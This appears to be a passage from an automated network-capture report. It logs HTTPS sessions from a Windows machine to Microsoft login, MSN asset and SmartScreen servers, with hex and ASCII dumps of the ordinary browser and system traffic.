2024-11-19 17:00:43 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-19 17:00:43 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-19 17:00:43 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 19 Nov 2024 16:59:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: 73352931-ee6b-49b6-8074-bedac3661a3a PPServer: PPV: 30 H: SN1PEPF0002F0D4 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 19 Nov 2024 17:00:42 GMT Connection: close Content-Length: 11389
2024-11-19 17:00:43 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49782	23.200.88.26	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:43 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/common.dfd00baecca65bd549c2.js HTTP/1.1 Host: assets2.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-19 17:00:43 UTC	1237	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: pTWVBljtQ4u5tiMtFX95uQ== Last-Modified: Mon, 18 Nov 2024 21:12:54 GMT ETag: 0x8DD0815C4BE1976 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 51c957d4-c01e-00ed-04fe-39f030000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 19 Nov 2024 17:00:43 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.200.89.132,b=184087853,c=g,n=US_NJ_SECAUCUS,o=20940] Server-Timing: clientrtt; dur=2, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.200.89.132 Akamai-Request-ID: af8f52d Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.8459c817.1732035643.af8f52d Vary: Origin
2024-11-19 17:00:43 UTC	15147	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 3d 73 65 6c 66 2e 65 64 67 65 43 68 72 6f 6d 69 75 6d 57 65 62 70 61 63 6b 43 68 75 6e 6b 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 63 6f 6d 6d 6f 6e 22 5d 2c 7b 33 36 37 37 37 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 6e 2e 64 28 74 2c 7b 46 76 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 2c 67 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 69 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 22 73 65 6c 65 63 74 65 64 4e 61 76 49 74 65 6d 43 6c 69 63 6b 65 64 22 3b 63 6c 61 73 73 20 72 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 74 68 69 73 2e 73 75 70 70 6f 72 74 Data Ascii: 00006000(self.edgeChromiumWebpackChunks=self.edgeChromiumWebpackChunks\|\|[]).push([["common"],{36777:function(e,t,n){"use strict";n.d(t,{Fv:function(){return r},gQ:function(){return i}});const i="selectedNavItemClicked";class r{constructor(){this.support
2024-11-19 17:00:43 UTC	9441	IN	Data Raw: 3f 7b 44 61 72 6b 47 6c 65 61 6d 55 72 6c 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 2e 64 61 72 6b 2c 4c 69 67 68 74 47 6c 65 61 6d 55 72 6c 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 73 73 72 42 61 63 6b 67 72 6f 75 6e 64 4d 65 74 61 64 61 74 61 2e 6c 69 67 68 74 7d 3a 74 68 69 73 2e 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 57 43 2e 65 76 65 6e 74 47 6c 65 61 6d 3b 72 65 74 75 72 6e 20 74 3f 74 68 69 73 2e 64 61 72 6b 4d 6f 64 65 51 75 65 72 79 2e 6d 61 74 63 68 65 73 3f 74 2e 44 61 72 6b 47 6c 65 61 6d 55 72 6c 3a 74 2e 4c 69 67 68 74 47 6c 65 61 6d 55 72 6c 3a 6e 75 6c 6c 7d 67 65 74 49 6d 61 67 65 55 52 4c 28 65 29 7b 76 61 72 Data Ascii: ?{DarkGleamUrl:this.backgroundImageWC.ssrBackgroundMetadata.dark,LightGleamUrl:this.backgroundImageWC.ssrBackgroundMetadata.light}:this.backgroundImageWC.eventGleam;return t?this.darkModeQuery.matches?t.DarkGleamUrl:t.LightGleamUrl:null}getImageURL(e){var
2024-11-19 17:00:43 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 3d 74 68 69 73 2e 63 68 72 6f 6d 69 75 6d 50 61 67 65 53 65 74 74 69 6e 67 73 53 74 61 74 65 2e 63 75 72 72 65 6e 74 4c 61 79 6f 75 74 26 26 28 30 2c 72 65 2e 49 39 29 28 29 29 7b 74 68 69 73 2e 63 75 72 72 65 6e 74 50 72 6f 76 69 64 65 72 3d 22 4e 6f 42 61 63 6b 67 72 6f 75 6e 64 22 2c 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 64 22 2c 7b 64 65 74 61 69 6c 3a 7b 69 73 4c 6f 77 45 6e 64 44 65 76 69 63 65 3a 21 30 7d 7d 29 29 3b 62 72 65 61 6b 7d 69 66 28 77 69 6e 64 6f 77 2e 64 69 73 70 61 74 63 68 45 76 65 6e 74 28 6e 65 77 20 43 75 73 74 6f 6d 45 76 65 6e 74 28 22 4c 6f 77 45 6e 64 44 65 76 69 63 65 42 6b 67 Data Ascii: 00006000=this.chromiumPageSettingsState.currentLayout&&(0,re.I9)()){this.currentProvider="NoBackground",window.dispatchEvent(new CustomEvent("LowEndDeviceBkgd",{detail:{isLowEndDevice:!0}}));break}if(window.dispatchEvent(new CustomEvent("LowEndDeviceBkg
2024-11-19 17:00:43 UTC	8204	IN	Data Raw: 76 6f 69 64 28 30 2c 6f 2e 48 29 28 72 2e 43 67 53 2c 22 54 65 6c 65 6d 65 74 72 79 20 6f 62 6a 65 63 74 20 69 73 20 75 6e 64 65 66 69 6e 65 64 20 66 6f 72 20 62 65 73 70 6f 6b 65 20 61 64 73 20 75 70 64 61 74 65 22 29 3b 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 54 61 67 73 2e 6d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 3d 74 68 69 73 2e 74 65 6c 65 6d 65 74 72 79 4f 62 6a 65 63 74 2e 61 64 64 4f 72 55 70 64 61 74 65 43 68 69 6c 64 28 7b 6e 61 6d 65 3a 22 4d 61 72 71 75 65 65 41 64 44 69 73 6d 69 73 73 42 75 74 74 6f 6e 22 2c 62 65 68 61 76 69 6f 72 3a 54 2e 77 75 2e 48 69 64 65 2c 63 6f 6e 74 65 6e 74 3a 7b 68 65 61 64 6c 69 6e 65 3a 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 68 69 73 2e 6d 61 72 71 75 65 65 41 64 29 7c 7c 76 6f 69 64 20 30 Data Ascii: void(0,o.H)(r.CgS,"Telemetry object is undefined for bespoke ads update");this.telemetryTags.marqueeAdDismissButton=this.telemetryObject.addOrUpdateChild({name:"MarqueeAdDismissButton",behavior:T.wu.Hide,content:{headline:null===(e=this.marqueeAd)\|\|void 0
2024-11-19 17:00:43 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 29 3f 74 68 69 73 2e 63 61 6e 52 65 6e 64 65 72 4e 6f 6e 53 73 72 45 6c 65 6d 65 6e 74 73 3d 21 74 68 69 73 2e 69 73 53 53 52 52 65 6e 64 65 72 65 64 3a 74 68 69 73 2e 63 61 6e 52 65 6e 64 65 72 4e 6f 6e 53 73 72 45 6c 65 6d 65 6e 74 73 3d 21 31 2c 74 68 69 73 2e 63 6f 6e 66 69 67 2e 65 6e 61 62 6c 65 45 76 65 6e 74 47 6c 65 61 6d 49 6d 61 67 65 26 26 28 74 68 69 73 2e 65 76 65 6e 74 47 6c 65 61 6d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 72 79 7b 76 61 72 20 65 3b 63 6f 6e 73 74 20 74 3d 64 65 2e 6b 2e 67 65 74 57 70 6f 54 72 65 61 74 6d 65 6e 74 73 57 69 74 68 54 79 70 65 28 63 65 2e 5f 68 2e 65 76 65 6e 74 47 6c 65 61 6d 2c 21 30 29 2c 6e 3d 6e 75 6c 6c 3d 3d 3d 28 65 3d 74 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 65 3f Data Ascii: 00004000)?this.canRenderNonSsrElements=!this.isSSRRendered:this.canRenderNonSsrElements=!1,this.config.enableEventGleamImage&&(this.eventGleam=function(){try{var e;const t=de.k.getWpoTreatmentsWithType(ce._h.eventGleam,!0),n=null===(e=t[0])\|\|void 0===e?
2024-11-19 17:00:43 UTC	12	IN	Data Raw: 6d 43 61 72 64 50 72 6f 70 65 0d 0a Data Ascii: mCardPrope
2024-11-19 17:00:43 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 72 74 69 65 73 28 29 2c 74 68 69 73 2e 76 69 64 65 6f 50 72 6f 76 69 64 65 72 2e 69 73 50 6c 61 79 69 6e 67 3d 21 31 2c 74 68 69 73 2e 69 73 4c 6f 61 64 43 6f 6d 70 6c 65 74 65 3d 21 31 29 2c 74 68 69 73 2e 75 70 64 61 74 65 50 72 6f 70 65 72 74 69 65 73 28 29 7d 61 73 79 6e 63 20 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 28 29 7b 61 77 61 69 74 20 74 68 69 73 2e 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 64 28 74 68 69 73 2e 72 65 66 5f 6d 61 72 71 75 65 65 41 64 43 54 41 42 75 74 74 6f 6e 29 7d 61 73 79 6e 63 20 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 64 53 70 6f 6e 73 6f 72 4c 6f 67 6f 28 29 7b 61 77 61 69 74 20 74 68 69 73 2e 6f 6e 43 6c 69 63 6b 5f 4d 61 72 71 75 65 65 41 Data Ascii: 00004000rties(),this.videoProvider.isPlaying=!1,this.isLoadComplete=!1),this.updateProperties()}async onClick_MarqueeAdCTAButton(){await this.onClick_MarqueeAd(this.ref_marqueeAdCTAButton)}async onClick_MarqueeAdSponsorLogo(){await this.onClick_MarqueeA
2024-11-19 17:00:43 UTC	12	IN	Data Raw: 6f 6e 65 3b 7a 2d 69 6e 64 65 0d 0a Data Ascii: one;z-inde
2024-11-19 17:00:43 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 78 3a 32 39 32 7d 2e 68 6f 74 53 70 6f 74 43 6c 69 63 6b 61 62 6c 65 7b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 20 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 68 6f 74 53 70 6f 74 43 6f 6e 74 61 69 6e 65 72 7b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 30 2e 32 73 7d 2e 68 6f 74 53 70 6f 74 43 6f 6e 74 61 69 6e 65 72 5f 68 69 64 65 7b 6f 70 61 63 69 74 79 3a 30 3b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 30 2e 32 73 7d 2e 68 6f 74 53 70 6f 74 52 65 6e 64 65 72 52 65 67 69 6f 6e 7b 6f 70 61 63 69 74 79 3a 31 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 7d 2e 68 6f 74 53 70 6f 74 53 70 6f 74 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 72 67 62 61 28 30 2c Data Ascii: 00004000x:292}.hotSpotClickable{cursor:pointer !important}.hotSpotContainer{opacity:1;transition:opacity 0.2s}.hotSpotContainer_hide{opacity:0;transition:opacity 0.2s}.hotSpotRenderRegion{opacity:1;position:absolute}.hotSpotSpot{background-color:rgba(0,
2024-11-19 17:00:43 UTC	12	IN	Data Raw: 74 69 6f 6e 73 3d 74 68 69 73 0d 0a Data Ascii: tions=this

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49780	20.25.227.174	443	4132	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 17:00:43 UTC	734	OUT	POST /api/browser/edge/data/toptraffic/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiSTExWGh0MEUwMnNOalg0b0hIWENudz09IiwgImhhc2giOiJ6dmlTVm9UdEQ4QT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "170540185939602997400506234197983529371" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-19 17:00:43 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-19 17:00:44 UTC	252	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 17:00:43 GMT Content-Type: application/octet-stream Content-Length: 460992 Connection: close Server: Kestrel ETag: "638004170464094982" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-19 17:00:44 UTC	16132	IN	Data Raw: 00 01 b7 32 6c 49 bd 35 18 3c 43 00 3b d3 7b 9a 00 08 16 f5 5f 2b 6a 45 e7 a6 60 9a c2 7d 9c 16 00 0c 2d 9e cc 04 23 e9 41 f4 82 16 a9 4b 52 db 00 0c 6c e3 4d 30 2c 73 87 bc fb 29 94 39 d4 c2 00 0c b4 d9 e2 eb e5 8f d8 b5 78 ca fa c6 82 9e 00 0c da 46 f1 62 1d cd 1e ab c5 cd 6a 55 ed dc 00 0e 79 d2 8a 68 27 a0 d5 e5 e5 89 bf 4c 3c 1f 00 12 2a 1f c4 5a 99 f8 2a 25 e9 2a 92 1a f6 5f 00 14 b2 67 12 34 79 75 12 bc d6 99 a8 99 1c cc 00 14 c8 bf 10 27 63 3d b9 cd 49 30 99 bf d3 a1 00 17 f8 9d 81 a3 94 71 57 f8 bf 3c 3a 4e ba d2 00 1a 3c bc a6 55 f9 2c 4d 69 94 e9 c9 5f b9 8c 00 1f 17 b3 27 28 0e f5 55 df 39 10 21 05 ce 96 00 1f bc ff bf d8 75 92 d1 13 89 37 0b 86 dc 34 00 20 98 bc 45 61 f8 b8 0d 34 2e 2b fb 37 39 6b 00 21 54 ca 2d 35 57 fb 9f 21 b8 d7 9a 40 2b Data Ascii: 2lI5<C;{_+jE`}-#AKRlM0,s)9xFbjUyh'L<Z%*_g4yu'c=I0qW<:N<U,Mi_'(U9!u74 Ea4.+79k!T-5W!@+
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: b8 6c 65 b5 81 d7 e8 96 a2 f6 fb f5 08 e9 4a 27 41 5a ef 9e 20 88 b1 dd 92 43 f1 c7 08 f6 31 2a b4 6b b0 d0 7b af f2 6e c0 3b 30 49 08 f7 14 46 2e c2 8e a1 9b 56 f6 89 ff 89 a1 a1 08 f8 86 49 94 74 f7 df c7 92 d3 f1 d5 09 db a4 08 f9 bb 85 2c 48 b7 6a b2 fe 9c 06 4c 91 ba af 08 fb 12 e5 67 95 f2 51 95 31 42 c4 14 92 6c 77 08 fb aa 20 c5 0c 96 4a 9a 6f 2e 40 d4 2b fd 90 08 fe aa 92 f9 b3 b3 8f b8 65 27 9b b9 df 14 f7 09 00 34 db 44 0d dd 66 70 53 8f 0b 31 18 8b ba 09 05 38 28 fa 80 5f eb 56 83 46 d1 dd 83 34 b7 09 06 35 0d 42 c1 3f 91 ee 97 ed f4 31 68 37 32 09 08 35 c9 14 24 10 2f b5 80 ac f7 9a 16 e6 e2 09 08 7a 82 38 a3 08 0b 00 2c 62 9c d0 2e d2 c4 09 09 d1 da a7 a8 16 cd 89 e5 ac fe b9 cc 8e 69 09 0e 20 d3 38 58 e2 6b 84 a1 e7 75 97 ad 75 61 09 0e 4d Data Ascii: leJ'AZ C1*k{n;0IF.VIt,HjLgQ1Blw Jo.@+e'4DfpS18(_VF45B?1h725$/z8,b.i 8XkuuaM
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-11-19 17:00:44 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
